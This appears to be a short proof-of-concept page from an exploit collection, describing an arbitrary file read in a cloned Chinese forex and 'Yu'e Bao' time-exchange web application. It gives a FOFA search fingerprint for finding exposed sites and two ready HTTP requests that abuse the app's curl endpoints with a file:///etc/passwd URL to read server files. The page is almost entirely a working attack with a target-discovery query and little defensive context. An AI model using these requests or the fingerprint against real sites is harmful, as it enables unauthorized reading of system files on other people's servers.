Skip to content

Latest commit

 

History

History
23 lines (16 loc) · 526 Bytes

仿新浪外汇余额宝时间交易所任意文件读取.md

File metadata and controls

23 lines (16 loc) · 526 Bytes

仿新浪外汇余额宝时间交易所任意文件读取

image-20240616192357166

fofa

"/static/index/css/ionic.css" && "devework.com"

poc

GET /index.php/index/Api/curlfun?url=file:///etc/passwd   HTTP/1.1
Host: 
GET /index.php/index/Api/post_curl?url=file:///etc/passwd&data=1  HTTP/1.1
Host: 

image-20240616192912529